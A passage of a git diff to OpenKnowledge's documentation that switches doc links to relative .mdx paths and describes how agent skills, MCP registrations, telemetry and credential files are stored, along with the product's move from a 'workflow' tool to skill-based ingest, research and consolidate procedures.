Read and write tools return a `previewUrl` for any doc they touched, but **those are route-only** (`/#/<doc>` with no host:port), meant to identify the doc, not to be opened as-is. Hosts that want to open the editor (Claude Code Desktop's `preview_start({url})`, terminal `open <url>`) call `preview_url` to resolve the full URL once per session.
-`preview_url` always carries an `autoOpen` boolean (top-level on its response) reflecting the user's [`appearance.preview.autoOpen`](/docs/reference/configuration) preference. The write tools (`write`, `edit`) carry the same boolean on the `warning` object, which fires only when no browser is attached to the preview. In the common case (a browser is attached), the write response has no `warning` and no `autoOpen` field. Agents honor `autoOpen` before navigating: `true` (default) follows the host-capability routing in the bundled skill; `false` means the user is managing their own preview window, so the agent surfaces the URL on request but does not open or refresh anything. The value is resolved fresh on every tool call, so a mid-session toggle propagates within 0–1 calls, with no client restart.
+`preview_url` always carries an `autoOpen` boolean (top-level on its response) reflecting the user's [`appearance.preview.autoOpen`](./configuration.mdx) preference. The write tools (`write`, `edit`) carry the same boolean on the `warning` object, which fires only when no browser is attached to the preview. In the common case (a browser is attached), the write response has no `warning` and no `autoOpen` field. Agents honor `autoOpen` before navigating: `true` (default) follows the host-capability routing in the bundled skill; `false` means the user is managing their own preview window, so the agent surfaces the URL on request but does not open or refresh anything. The value is resolved fresh on every tool call, so a mid-session toggle propagates within 0–1 calls, with no client restart.
diff --git a/docs/content/reference/what-open-knowledge-writes.mdx b/docs/content/reference/what-open-knowledge-writes.mdx
index 1576bf9df..cbf27ee30 100644
--- a/docs/content/reference/what-open-knowledge-writes.mdx
+++ b/docs/content/reference/what-open-knowledge-writes.mdx
@@ -73,7 +73,7 @@ Delete the block and the app **won't re-add it** — the removal is recorded and
### User-global Agent Skills
-OpenKnowledge ships two user-global [Agent Skills](/docs/features/skills) — `open-knowledge-discovery` (helps your coding agent recognize and route through OpenKnowledge projects) and `open-knowledge-write-skill` (a workflow for authoring new skills). They install into each detected editor's global skill folder (`~/.claude/skills/`, `~/.cursor/skills/`, `~/.codex/skills/`, `~/.opencode/skills/`) plus the shared `~/.agents/skills/` hub.
+OpenKnowledge ships two user-global [Agent Skills](../features/skills.mdx) — `open-knowledge-discovery` (helps your coding agent recognize and route through OpenKnowledge projects) and `open-knowledge-write-skill` (a workflow for authoring new skills). They install into each detected editor's global skill folder (`~/.claude/skills/`, `~/.cursor/skills/`, `~/.codex/skills/`, `~/.opencode/skills/`) plus the shared `~/.agents/skills/` hub.
These are **consent-gated**, one checkbox per skill in the same first-launch dialog (both checked by default). Uncheck one and it is never installed; uncheck an already-installed one and its copies are **removed**. The choice is recorded in `~/.ok/skill-state.yml` and honored by every install path — the desktop app, `ok init`, and `ok start` — so a skill you declined is never re-added. Machines that already had the skills before the consent dialog are treated as consented (left in place). Re-enable later from **File → Set up OpenKnowledge integrations…**.
@@ -83,13 +83,13 @@ When you initialize or open a project, the app scaffolds the same project files
| Path | What it is | Scope |
| --- | --- | --- |
-| `.ok/`, `.ok/config.yml` | Project directory and its [config](/docs/reference/configuration) | In-project, committed |
+| `.ok/`, `.ok/config.yml` | Project directory and its [config](./configuration.mdx) | In-project, committed |
| `.ok/.gitignore` | Keeps machine-local runtime state (`local/`, `principal.json`, `server.lock`, …) out of git | In-project, committed |
-| `.okignore` | Paths excluded from the editor, search, and agents — see [Ignore patterns](/docs/features/ignore-patterns) | In-project, committed |
+| `.okignore` | Paths excluded from the editor, search, and agents — see [Ignore patterns](../features/ignore-patterns.mdx) | In-project, committed |
| `.mcp.json`, `.cursor/mcp.json`, `.codex/config.toml`, `opencode.json` | Project-scoped MCP registration for the four MCP-capable project editors (Claude, Cursor, Codex, OpenCode), written regardless of what's installed so the repo is ready for teammates | In-project, committed |
-| `.pi/extensions/open-knowledge.ts` | Managed bridge extension connecting [Pi](/docs/integrations/pi) (which has no MCP support) to the project | In-project, committed |
+| `.pi/extensions/open-knowledge.ts` | Managed bridge extension connecting [Pi](../integrations/pi.mdx) (which has no MCP support) to the project | In-project, committed |
| `.claude/skills/`, `.cursor/skills/`, `.codex/skills/`, `.github/skills/`, `.opencode/skills/`, `.pi/skills/` | Project-local "rich" OpenKnowledge skill (`SKILL.md`) for Claude, Cursor, Codex, GitHub Copilot, OpenCode, and Pi | In-project, committed |
-| `.ok/skill-targets.json` | Committed list of which editors receive skills, written when you customize the targets | In-project, committed |
+| `.ok/skills-lock.json` | Provenance for imported skills — source, selected skill, commit/ref when available, content hash, publisher, and import time | In-project, committed |
| `~/.claude.json`, `~/Library/Application Support/Claude/claude_desktop_config.json`, `~/.cursor/mcp.json`, `~/.codex/config.toml`, `~/.copilot/mcp-config.json`, `~/.config/opencode/opencode.json`, `~/.openclaw/openclaw.json`, `~/.gemini/config/mcp_config.json`, `~/.lmstudio/mcp.json`, `~/.hermes/config.yaml` | User-level `open-knowledge` MCP registration, one per detected editor, so it's available in every project (`~/.copilot/mcp-config.json` only when `~/.copilot/` exists; `~/.openclaw/openclaw.json` only when `~/.openclaw/` exists; `~/.gemini/config/mcp_config.json` is Antigravity's shared IDE + `agy` config, only when `~/.gemini/` exists; `~/.lmstudio/mcp.json` and `~/.hermes/config.yaml` only when those apps are installed) | Outside-project (editor config) |
### While a project is open
@@ -105,23 +105,23 @@ The app runs a collaboration server for the open project. It writes runtime stat
| `.ok/local/telemetry/spans-*.jsonl` | Local diagnostic spans, rotated at ~50 MB | In-project, gitignored |
| `.ok/local/logs/server-*.jsonl` | Local server logs, rotated at ~25 MB | In-project, gitignored |
| `.ok/local/cache/<branch>/backlinks.json` | Backlink-graph cache | In-project, gitignored |
-| `.ok/local/skill-management.json`, `.ok/local/installed-skills.json` | Skill-management toggle (`ok skills manage`) and per-project skill-install markers | In-project, gitignored |
+| `.ok/local/installed-skills.json` | Per-project skill-install markers (which editors each skill is projected into) | In-project, gitignored |
| `.ok/worktrees/<branch>/` | Git worktree checkout created when you open a branch in its own window (project switcher); the path is also added to `.git/info/exclude` | In-project, gitignored |
| `.git/ok/` — or `.git/worktrees/<name>/ok/` in a linked worktree, or the enclosing repo's `.git/ok-<slug>/` when your project is a subfolder of a larger repo | Shadow git repo holding per-writer work-in-progress refs; always inside a git admin dir, never in your content tree | In-project, gitignored (inside `.git/`) |
-Diagnostic logs and telemetry are **on by default but local-only** — credential-bearing attributes are redacted (`[REDACTED]`) before anything is written, the files rotate at the size caps above, and nothing leaves the machine until you explicitly run `ok diagnose bundle`. Turn the local sink off with `telemetry.localSink.enabled: false`; see [Configuration](/docs/reference/configuration).
+Diagnostic logs and telemetry are **on by default but local-only** — credential-bearing attributes are redacted (`[REDACTED]`) before anything is written, the files rotate at the size caps above, and nothing leaves the machine until you explicitly run `ok diagnose bundle`. Turn the local sink off with `telemetry.localSink.enabled: false`; see [Configuration](./configuration.mdx).
-On each launch and project open, the app also runs **repair sweeps**: it rewrites *existing* `open-knowledge` MCP entries (in the editor configs above) and the OpenKnowledge skill bundles (`open-knowledge-discovery` and `open-knowledge-write-skill`, in `~/.agents/skills/` and each detected editor's `~/.claude/skills/`, `~/.cursor/skills/`, `~/.codex/skills/`, `~/.opencode/skills/`) to the current canonical form — a no-op when nothing has drifted. It also removes any stale `open-knowledge-ui` entry left in `.claude/launch.json` by an older OK version. It **never adds** an MCP entry to an editor that doesn't already have one; and when you turn on skill management for a project, it also adopts your existing editor skills into `.ok/skills/`. Same `OK_RECLAIM_DISABLE=1` opt-out.
+On each launch and project open, the app also runs **repair sweeps**: it rewrites *existing* `open-knowledge` MCP entries (in the editor configs above) to the current canonical form, and **seeds** the built-in OpenKnowledge skill bundles (`open-knowledge-discovery` and `open-knowledge-write-skill`, in `~/.agents/skills/` and each detected editor's `~/.claude/skills/`, `~/.cursor/skills/`, `~/.codex/skills/`, `~/.opencode/skills/`) **only when they are missing** — an existing copy is left untouched (updates to a built-in flow through the skills.sh "update available" path, never a force-refresh). It also removes any stale `open-knowledge-ui` entry left in `.claude/launch.json` by an older OK version. It **never adds** an MCP entry to an editor that doesn't already have one. Same `OK_RECLAIM_DISABLE=1` opt-out.
### Home directory and credentials (`~/.ok/`)
| Path | What it is | Sensitive? |
| --- | --- | --- |
-| `~/.ok/global.yml` | User-global [config](/docs/reference/configuration) (applies to every project) | No |
-| `~/.ok/secrets.yml` | Embeddings provider API key for [semantic search](/docs/reference/configuration#semantic-search), if you set one. Written `0600`; never in `config.yml` | **Yes** (`0600`) |
+| `~/.ok/global.yml` | User-global [config](./configuration.mdx) (applies to every project) | No |
+| `~/.ok/secrets.yml` | Embeddings provider API key for [semantic search](./configuration.mdx#semantic-search), if you set one. Written `0600`; never in `config.yml` | **Yes** (`0600`) |
| `~/.ok/auth.yml` | Auth-token fallback, used only when the Keychain is unavailable. Written `0600` | **Yes** (`0600`) |
| `~/.ok/skill-state.yml`, `~/.ok/skill-install-events.jsonl` | Skill-install bookkeeping | No |
-| `~/.ok/skills/<name>/` | Your global-scope authored skills (kept by `ok uninstall` unless `--purge-content`) | No |
+| `~/.agents/skills/<name>/`, `~/.claude/skills/<name>/`, … | Your global-scope skills, versioned in place in your home editor dirs (kept by `ok uninstall` unless `--purge-content`) | No |
| `~/.ok/stats.jsonl` | Local "open with AI" handoff stats — local-only, no phone-home | No |
| `~/.ok/mcp-status.json` | First-launch MCP consent record | No |
| `~/.ok/logs/`, `~/.ok/bug-reports/` | Desktop and CLI logs, and bug-report bundles from `ok bug-report` and the app's **Help → Report a bug…** dialog (`ok diagnose bundle` writes into the project, under `.ok/local/diagnostics/`) | No |
@@ -154,14 +154,14 @@ Installing `@inkeep/open-knowledge` from npm (or invoking it with `npx`) drops t
| Path | What it is | Scope |
| --- | --- | --- |
-| `.ok/`, `.ok/config.yml` | Project directory and its [config](/docs/reference/configuration) | In-project, committed |
+| `.ok/`, `.ok/config.yml` | Project directory and its [config](./configuration.mdx) | In-project, committed |
| `.ok/.gitignore` | Keeps machine-local runtime state (`local/`, `principal.json`, `server.lock`, …) out of git | In-project, committed |
-| `.okignore` | Paths excluded from the editor, search, and agents — see [Ignore patterns](/docs/features/ignore-patterns) | In-project, committed |
+| `.okignore` | Paths excluded from the editor, search, and agents — see [Ignore patterns](../features/ignore-patterns.mdx) | In-project, committed |
| `.gitignore` (project root) | Seeded (with `.DS_Store`) **only** when `ok init` creates a new git repo | In-project, committed |
| `.mcp.json`, `.cursor/mcp.json`, `.codex/config.toml`, `opencode.json` | Project-scoped MCP registration for the four MCP-capable project editors (Claude, Cursor, Codex, OpenCode) regardless of what's installed — prepares the repo for teammates (with `--scope project` or `both`) | In-project, committed |
-| `.pi/extensions/open-knowledge.ts` | Managed bridge extension connecting [Pi](/docs/integrations/pi) (which has no MCP support) to the project | In-project, committed |
+| `.pi/extensions/open-knowledge.ts` | Managed bridge extension connecting [Pi](../integrations/pi.mdx) (which has no MCP support) to the project | In-project, committed |
| `.claude/skills/`, `.cursor/skills/`, `.codex/skills/`, `.github/skills/`, `.opencode/skills/`, `.pi/skills/` | Project-local "rich" OpenKnowledge skill (`SKILL.md`) for Claude, Cursor, Codex, GitHub Copilot, OpenCode, and Pi | In-project, committed |
-| `.ok/skill-targets.json` | Committed list of which editors receive skills, written when you customize the targets | In-project, committed |
+| `.ok/skills-lock.json` | Provenance for imported skills — source, selected skill, commit/ref when available, content hash, publisher, and import time | In-project, committed |
With `--scope user` or `both` (the default), `ok init` also registers the `open-knowledge` MCP server in each detected editor's **user-level** config, so it's available in every project:
@@ -218,10 +218,10 @@ On Windows, Claude Desktop and OpenCode configs live under `%APPDATA%\Claude\` a
| `.ok/local/telemetry/spans-*.jsonl` | Local diagnostic spans, rotated at ~50 MB | In-project, gitignored |
| `.ok/local/logs/server-*.jsonl` | Local server logs, rotated at ~25 MB | In-project, gitignored |
| `.ok/local/cache/<branch>/backlinks.json` | Backlink-graph cache | In-project, gitignored |
-| `.ok/local/skill-management.json`, `.ok/local/installed-skills.json` | Skill-management toggle (`ok skills manage`) and per-project skill-install markers | In-project, gitignored |
+| `.ok/local/installed-skills.json` | Per-project skill-install markers (which editors each skill is projected into) | In-project, gitignored |
| `.git/ok/` — or `.git/worktrees/<name>/ok/` in a linked worktree, or the enclosing repo's `.git/ok-<slug>/` when your project is a subfolder of a larger repo | Shadow git repo holding per-writer work-in-progress refs (powers the timeline); always inside a git admin dir, never in your content tree | In-project, gitignored (inside `.git/`) |
-Diagnostic logs and telemetry are **on by default but local-only** — credential-bearing attributes are redacted (`[REDACTED]`) before anything is written, the files rotate at the size caps above, and nothing leaves the machine until you explicitly run `ok diagnose bundle`. Turn the local sink off with `telemetry.localSink.enabled: false`; see [Configuration](/docs/reference/configuration).
+Diagnostic logs and telemetry are **on by default but local-only** — credential-bearing attributes are redacted (`[REDACTED]`) before anything is written, the files rotate at the size caps above, and nothing leaves the machine until you explicitly run `ok diagnose bundle`. Turn the local sink off with `telemetry.localSink.enabled: false`; see [Configuration](./configuration.mdx).
On each boot, `ok start` also runs **repair sweeps**: it re-checks a few things that drift as OpenKnowledge updates and rewrites any that have fallen out of the current canonical form — a no-op when nothing has changed, and it **never adds** an entry that isn't already there.
@@ -241,11 +241,11 @@ Disable all three with `OK_RECLAIM_DISABLE=1`.
| Path | What it is | Sensitive? |
| --- | --- | --- |
-| `~/.ok/global.yml` | User-global [config](/docs/reference/configuration) (applies to every project) | No |
-| `~/.ok/secrets.yml` | Embeddings provider API key for [semantic search](/docs/reference/configuration#semantic-search), if you set one. Written `0600`; never in `config.yml` | **Yes** (`0600`) |
+| `~/.ok/global.yml` | User-global [config](./configuration.mdx) (applies to every project) | No |
+| `~/.ok/secrets.yml` | Embeddings provider API key for [semantic search](./configuration.mdx#semantic-search), if you set one. Written `0600`; never in `config.yml` | **Yes** (`0600`) |
| `~/.ok/auth.yml` | Auth-token fallback, used when no OS credential store is reachable. Written `0600` | **Yes** (`0600`) |
| `~/.ok/skill-state.yml`, `~/.ok/skill-install-events.jsonl` | Skill-install bookkeeping | No |
-| `~/.ok/skills/<name>/` | Your global-scope authored skills (kept by `ok uninstall` unless `--purge-content`) | No |
+| `~/.agents/skills/<name>/`, `~/.claude/skills/<name>/`, … | Your global-scope skills, versioned in place in your home editor dirs (kept by `ok uninstall` unless `--purge-content`) | No |
| `~/.ok/stats.jsonl` | Local "open with AI" handoff stats — local-only, no phone-home | No |
| `~/.ok/logs/` | CLI logs (`cli.<date>.log`), size- and age-capped | No |
| `~/.ok/bug-reports/` | Bug-report bundles from `ok bug-report` — the desktop app's **Help → Report a bug…** dialog writes here too (`ok diagnose bundle` writes into the project, under `.ok/local/diagnostics/`) | No |
@@ -269,7 +269,7 @@ Disable all three with `OK_RECLAIM_DISABLE=1`.
| Local diagnostic logs and telemetry | `telemetry.localSink.enabled: false` in config |
| Auto-starting the MCP server | `OK_MCP_AUTOSTART=0` |
-To review the footprint after the fact, `ok diagnose` reports what's on disk (and the desktop `path-install.json` records exactly which shell/`PATH` changes were made). To reverse it, `ok deinit` removes OpenKnowledge from one project and `ok uninstall` removes it from the whole machine — both keep your markdown content (and your authored `~/.ok/skills`) unless you pass `--purge-content`, and both take `--dry-run` to preview. See the [CLI reference](/docs/reference/cli) for the full semantics.
+To review the footprint after the fact, `ok diagnose` reports what's on disk (and the desktop `path-install.json` records exactly which shell/`PATH` changes were made). To reverse it, `ok deinit` removes OpenKnowledge from one project and `ok uninstall` removes it from the whole machine — both keep your markdown content, and your global skills in your editors' skill dirs (`~/.agents/skills`, `~/.claude/skills`, and the like) are never touched, and both take `--dry-run` to preview. See the [CLI reference](./cli.mdx) for the full semantics.
In the desktop app you don't need the CLI for finer control. **Settings → AI tools & CLI** (under User) lists every global component OpenKnowledge manages — each editor's `open-knowledge` MCP entry, the `ok` PATH command, and the user-global skills — with a checkbox reflecting its live installed state; toggling a row installs or removes just that one component. **Settings → This project → AI tools** does the same for the open project's local footprint — its project-scoped MCP configs and the project skill. Removal keeps the same guest discipline as install: only entries OpenKnowledge recognizably wrote are removed, and anything you customized is left intact.
@@ -280,9 +280,9 @@ By default, **nothing.** Everything above is written to your own disk. The only
| What | When | Where it goes |
| --- | --- | --- |
| Diagnostic bundle | Only when you run `ok diagnose bundle` (you can inspect it first) | Wherever you send it |
-| In-app bug report | Only when you click **Send** in the desktop app's **Help → Report a bug…** dialog — it builds a secret-redacted zip you can reveal and inspect first, and nothing is sent without that explicit click. After a crash, the same dialog adds an **off-by-default** "Include crash dump" checkbox: a crash dump is a memory snapshot that can contain document content and can't be redacted, and it is only ever attached when you check that box | By default, Send makes no network request — it opens a prefilled email draft to [email protected] that you send yourself, naming the zip to attach. Only when an operator has configured a bug-report intake endpoint ([`OK_BUG_REPORT_INTAKE_URL`](/docs/reference/configuration#environment-variables)) does Send upload the zip there, falling back to the same email draft if the upload fails |
+| In-app bug report | Only when you click **Send** in the desktop app's **Help → Report a bug…** dialog — it builds a secret-redacted zip you can reveal and inspect first, and nothing is sent without that explicit click. After a crash, the same dialog adds an **off-by-default** "Include crash dump" checkbox: a crash dump is a memory snapshot that can contain document content and can't be redacted, and it is only ever attached when you check that box | By default, Send makes no network request — it opens a prefilled email draft to [email protected] that you send yourself, naming the zip to attach. Only when an operator has configured a bug-report intake endpoint ([`OK_BUG_REPORT_INTAKE_URL`](./configuration.mdx#environment-variables)) does Send upload the zip there, falling back to the same email draft if the upload fails |
| Uninstall feedback | Only after an uninstall has already succeeded, and only if you pick a reason, type a note, or give an email address on the optional "Before you go" screen (desktop app) or prompt (`ok uninstall`). Skipping it, `--yes`, `--json`, and any non-interactive run send nothing | `openknowledge.ai/api/feedback` — the reason you picked, your note, your email address if you gave one, plus the app version and platform. It files one ticket for the team; nothing from your notes is included |
-| Semantic search embeddings | Only when you enable [semantic search](/docs/reference/configuration#semantic-search) **and** set a key — off by default | Your configured embeddings provider (OpenAI by default) |
+| Semantic search embeddings | Only when you enable [semantic search](./configuration.mdx#semantic-search) **and** set a key — off by default | Your configured embeddings provider (OpenAI by default) |
| GitHub sync / share | When you sync, clone, publish, or share | GitHub |
| Update check | Automatically — on launch and periodically while the desktop app runs | OpenKnowledge update service (`openknowledge.ai/updates`), which redirects to GitHub; sends the app version and channel |
| First-launch share check | Once, automatically, on the desktop app's first launch | `openknowledge.ai/continue` — redeems a share link if you installed from one |
diff --git a/docs/content/workflows/codebase-wiki.mdx b/docs/content/workflows/codebase-wiki.mdx
index 4a3a1c600..fb54c5ac2 100644
--- a/docs/content/workflows/codebase-wiki.mdx
+++ b/docs/content/workflows/codebase-wiki.mdx
@@ -87,7 +87,7 @@ ok seed --pack codebase-wiki
The pack scaffolds the `wiki/` tree above with a stubbed `OVERVIEW.md` (empty `source_commit`), a starter template per section (`architecture-page`, `module-page`, `flow-page`, `concept-page`, `guide-page`), and `wiki/log.md`. Each folder's `.ok/frontmatter.yml` teaches the agent that section's job, so guidance lives next to the action rather than inside every page.
<Callout type="info" title="Seeding also installs a skill">
- `ok seed --pack codebase-wiki` installs the **Codebase wiki** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the generate / refresh procedure, the audience and depth knobs, and the source-reference discipline — read automatically, and editable like any other doc. It lands as a real `SKILL.md` committed to your repo — one source under `.ok/skills/`, symlinked into each detected editor's skills directory. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
+ `ok seed --pack codebase-wiki` installs the **Codebase wiki** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the generate / refresh procedure, the audience and depth knobs, and the source-reference discipline — read automatically, and editable like any other doc. It lands as a real `SKILL.md` committed to your repo — one source folder in your project's skills directory (`.agents/skills/` when you have one, otherwise your editor's, e.g. `.claude/skills/`), copied into the skills directory of each editor already set up for the project. The copies refresh from the source until you hand-edit one. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
</Callout>
## Generate, then refresh
diff --git a/docs/content/workflows/entity-vault.mdx b/docs/content/workflows/entity-vault.mdx
index 2d65d96d7..1ff361c59 100644
--- a/docs/content/workflows/entity-vault.mdx
+++ b/docs/content/workflows/entity-vault.mdx
@@ -86,7 +86,7 @@ your-project/
Each folder includes an `.ok/frontmatter.yml` description that agents see during file listings/searches, plus templates under `.ok/templates/`.
<Callout type="info" title="Seeding also installs a skill">
- `ok seed --pack entity-vault` installs the **Entity vault** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the dossier conventions — compiled-truth vs. append-only timeline, path-qualified links, the correction loop — read automatically, and editable like any other doc. It lands as a single `SKILL.md` in your repo under `.ok/skills/`, symlinked into the skills folder of each editor already set up for the project. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
+ `ok seed --pack entity-vault` installs the **Entity vault** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the dossier conventions — compiled-truth vs. append-only timeline, path-qualified links, the correction loop — read automatically, and editable like any other doc. It lands as a single `SKILL.md` in your repo, in your project's skills directory (`.agents/skills/` when you have one, otherwise your editor's), copied into the skills directory of each editor already set up for the project. The copies refresh from the source until you hand-edit one. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
</Callout>
## Markdown shape
diff --git a/docs/content/workflows/karpathy-llm-wiki.mdx b/docs/content/workflows/karpathy-llm-wiki.mdx
index 2acf39c94..816d8aa0f 100644
--- a/docs/content/workflows/karpathy-llm-wiki.mdx
+++ b/docs/content/workflows/karpathy-llm-wiki.mdx
@@ -52,9 +52,9 @@ The difference from a folder of notes or a RAG app is who maintains it, and how
The structure you and the agent author (folders, titles, backlinks, a one-line purpose per folder) *is* the index. No second copy, nothing to keep in sync. The agent retrieves across it with [agentic search](../reference/agentic-search.mdx) — searching, grepping, and following backlinks over your live files, no vector database — and you teach it conventions with [skills](../features/skills.mdx) authored in the same editor as your docs.
-The rest of this guide builds one end to end. The pattern is Andrej Karpathy's, from [his April 2026 gist on LLM-curated wikis](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f). OpenKnowledge ships the **Knowledge base** starter pack as a direct implementation, with one extension Karpathy doesn't formalize: **the wiki layer is split** into `research/` (status: provisional) and `articles/` (status: canonical), with the `consolidate` workflow as the explicit promotion step, so premature canonicalization becomes a thing you opt into rather than something that drifts in.
+The rest of this guide builds one end to end. The pattern is Andrej Karpathy's, from [his April 2026 gist on LLM-curated wikis](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f). OpenKnowledge ships the **Knowledge base** starter pack as a direct implementation, with one extension Karpathy doesn't formalize: **the wiki layer is split** into `research/` (status: provisional) and `articles/` (status: canonical), with the `consolidate` procedure as the explicit promotion step, so premature canonicalization becomes a thing you opt into rather than something that drifts in.
-The point of this guide is to show how **OpenKnowledge's features compose** to make the pattern feel native: the starter-pack picker scaffolds the layout in one click; per-folder templates + agent-readable folder frontmatter teach the LLM the conventions (Karpathy's centralized `CLAUDE.md` / `AGENTS.md` schema, distributed per-folder); the `workflow` tool's `ingest`, `research`, and `consolidate` kinds cover the sources → provisional → canonical pipeline; the WYSIWYG editor + CRDT keep editing frictionless; the activity panel attributes every write; the `links` tool keeps the source graph clean. Every step uses three or four of these together. That's the product.
+The point of this guide is to show how **OpenKnowledge's features compose** to make the pattern feel native: the starter-pack picker scaffolds the layout in one click; per-folder templates + agent-readable folder frontmatter teach the LLM the conventions (Karpathy's centralized `CLAUDE.md` / `AGENTS.md` schema, distributed per-folder); the platform skill's `ingest` procedure plus the pack's `research` and `consolidate` skills cover the sources → provisional → canonical pipeline; the WYSIWYG editor + CRDT keep editing frictionless; the activity panel attributes every write; the `links` tool keeps the source graph clean. Every step uses three or four of these together. That's the product.
If you're new to LLM-curated PKM, the draw is an agent that remembers your context without the vault turning into a junk drawer of unprocessed clips — notes that compound instead of rotting. If you're already practicing Karpathy's pattern in Obsidian, plain folders, or Claude projects, the question is what OpenKnowledge does differently and what carries over.
@@ -134,7 +134,7 @@ The **Knowledge base** pack scaffolds Karpathy's pattern with one significant ad
| Karpathy | OpenKnowledge |
|---|---|
-| Raw sources (verbatim, immutable) | `external-sources/` + `clip` template + `ingest` workflow |
+| Raw sources (verbatim, immutable) | `external-sources/` + `clip` template + the `ingest` procedure |
| The wiki (single LLM-owned layer) | **Split**: `research/` (provisional, status:`provisional`, sources cited) + `articles/` (canonical, status:`canonical`, supersedes chain); `consolidate` promotes |
| `log.md` (append-only record) | `log.md` at project root, written by the pack |
| `index.md` (static content catalog) | Provided dynamically via `exec` (`ls`) + the file sidebar. The agent reads folder frontmatter + per-doc metadata on every list call, so a static index isn't required. You can still hand-write `index.md` if you prefer. |
@@ -160,16 +160,16 @@ You'll get `external-sources/`, `research/`, `articles/`, the three matching tem
The starter-pack picker is idempotent (safe to re-run on the same project).
<Callout type="info" title="Seeding also installs a skill">
- `ok seed --pack knowledge-base` (or the desktop starter-pack picker) installs the **Knowledge base** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the layer discipline described below — the `ingest` / `research` / `consolidate` conventions and the provisional-to-canonical promotion — read automatically, and editable like any other doc. It lands as a single `SKILL.md` in your repo under `.ok/skills/`, symlinked into the skills folder of each editor already set up for the project. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
+ `ok seed --pack knowledge-base` (or the desktop starter-pack picker) installs the **Knowledge base** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the layer discipline described below — the `ingest` / `research` / `consolidate` conventions and the provisional-to-canonical promotion — read automatically, and editable like any other doc. It lands as a real `SKILL.md` in your agent editors' skills dirs (`.claude/skills`, `.cursor/skills`, …), versioned with your repo — one canonical copy mirrored into each editor already set up for the project. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
</Callout>
### 3. Confirm your agent host is wired
If you accepted the desktop app's first-launch offer to wire up your agent assistant, you're done. If not, in your agent assistant, ask:
-<CopyPrompt>list the workflow tools available</CopyPrompt>
+<CopyPrompt>list the OpenKnowledge tools available</CopyPrompt>
-You should see `mcp__open-knowledge__workflow` (its `kind` covers `ingest` / `research` / `consolidate` / `discover` / `wiki`), alongside the standard reads/writes (`exec`, `search`, `write`, `links`, etc.). The workflow guides cover the sources → provisional → canonical pipeline described in the mapping table above.
+You should see the standard reads/writes (`exec`, `search`, `write`, `edit`, `links`, etc.). The `ingest` / `research` / `consolidate` procedures aren't tools — they ship as guidance inside the Knowledge base pack skill your agent loads when the work fits a layer, covering the sources → provisional → canonical pipeline described in the mapping table above.
### 4. Ingest the five sources
@@ -177,7 +177,7 @@ For each source, paste the URL into your agent and say:
<CopyPrompt>ingest this: https://github.com/example/framework</CopyPrompt>
-The agent fetches the URL, calls `ingest`, and writes the verbatim content to `external-sources/framework-readme.md` with frontmatter capturing the URL, fetch date, and any author metadata it can extract. **Never copy-paste raw URLs into chat as "sources" without ingesting.** The knowledge base is closed-loop. Every claim must cite a local doc.
+The agent fetches the URL, follows the platform skill's `ingest` procedure, and writes the verbatim content to `external-sources/framework-readme.md` with frontmatter capturing the URL, fetch date, and any author metadata it can extract. **Never copy-paste raw URLs into chat as "sources" without ingesting.** The knowledge base is closed-loop. Every claim must cite a local doc.
Five ingests, five files. After the fifth, ask:
@@ -189,7 +189,7 @@ Your agent uses `exec("ls external-sources/")` to read frontmatter and per-file
<CopyPrompt>research the agent-framework question; synthesize the five sources in external-sources/</CopyPrompt>
-Running `workflow({ kind: "research", topic: "agent-framework evaluation" })` spins up a step-by-step research flow: it confirms scoping, lists what's covered by the existing sources, identifies gaps (maybe one source you haven't ingested yet), and produces a `research/agent-framework-evaluation.md` with `status: provisional` and a `sources:` array listing the five paths.
+That kicks off the pack skill's step-by-step research procedure: it confirms scoping, lists what's covered by the existing sources, identifies gaps (maybe one source you haven't ingested yet), and produces a `research/agent-framework-evaluation.md` with `status: provisional` and a `sources:` array listing the five paths.
Every claim in the log cites a specific source path. You can now ask:
@@ -213,9 +213,9 @@ You don't consolidate yet in our scenario; the team hasn't decided. Maybe in two
<CopyPrompt>consolidate the agent-framework research into a canonical article</CopyPrompt>
-The `workflow` tool's `consolidate` kind starts with a STOP gate asking whether the decision is actually made. If yes, it writes `articles/agent-framework-evaluation.md` with `status: canonical` and a `supersedes:` chain pointing back to the research log. That `research/` doc isn't deleted; it's superseded, so the evidence chain stays intact.
+The `consolidate` procedure starts with a STOP gate asking whether the decision is actually made. If yes, it writes `articles/agent-framework-evaluation.md` with `status: canonical` and a `supersedes:` chain pointing back to the research log. That `research/` doc isn't deleted; it's superseded, so the evidence chain stays intact.
-**What just composed.** Five sources became one canonical article via: the **Knowledge base starter pack** (three folders, three templates, agent-readable folder frontmatter, one click), the **`workflow` tool's `ingest` / `research` / `consolidate` kinds** (mapping 1:1 to Karpathy's layers), the **agent activity panel** (every fetch + write attributed), the **wikilink graph + frontmatter `sources:` arrays** (citation chain audit-able doc by doc), and the **WYSIWYG editor** (review and refine without leaving the same surface). The same vault, the same product, the whole stack working as one thing.
+**What just composed.** Five sources became one canonical article via: the **Knowledge base starter pack** (three folders, three templates, agent-readable folder frontmatter, one click), the platform skill's **`ingest`** procedure and the pack's **`research` / `consolidate`** skills (mapping 1:1 to Karpathy's layers), the **agent activity panel** (every fetch + write attributed), the **wikilink graph + frontmatter `sources:` arrays** (citation chain audit-able doc by doc), and the **WYSIWYG editor** (review and refine without leaving the same surface). The same vault, the same product, the whole stack working as one thing.
## The promotion rhythm
@@ -227,7 +227,7 @@ When to use each tool, and when *not* to:
| You searched the web yourself to ground a claim | `ingest` | Closed-loop: the KB doesn't cite the live web, only local docs |
